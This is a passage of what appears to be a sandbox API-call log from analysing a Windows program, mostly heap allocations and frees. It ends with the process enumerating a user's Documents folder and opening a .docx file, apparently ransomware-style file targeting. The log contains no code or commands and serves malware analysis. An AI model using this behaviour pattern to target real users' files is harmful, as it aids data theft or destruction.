Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.090] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.092] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.092] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.092] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.092] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.092] PathFindFileNameW (pszPath="") returned="" [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9be34600, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9be34600, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.092] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.092] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9be34600, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9be34600, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.092] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfe6c0, ftCreationTime.dwHighDateTime=0x1d54061, ftLastAccessTime.dwLowDateTime=0xa96381b0, ftLastAccessTime.dwHighDateTime=0x1d4ee42, ftLastWriteTime.dwLowDateTime=0xa96381b0, ftLastWriteTime.dwHighDateTime=0x1d4ee42, nFileSizeHigh=0x0, nFileSizeLow=0x1685, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6x5Al7 pvIePmK.docx", cAlternateFileName="6X5AL7~1.DOC")) returned 1 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.092] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x795fb98 [0112.093] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.093] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6x5Al7 pvIePmK.docx") returned=".docx" [0112.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6x5Al7 pvIePmK.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6x5al7 pviepmk.docx"), 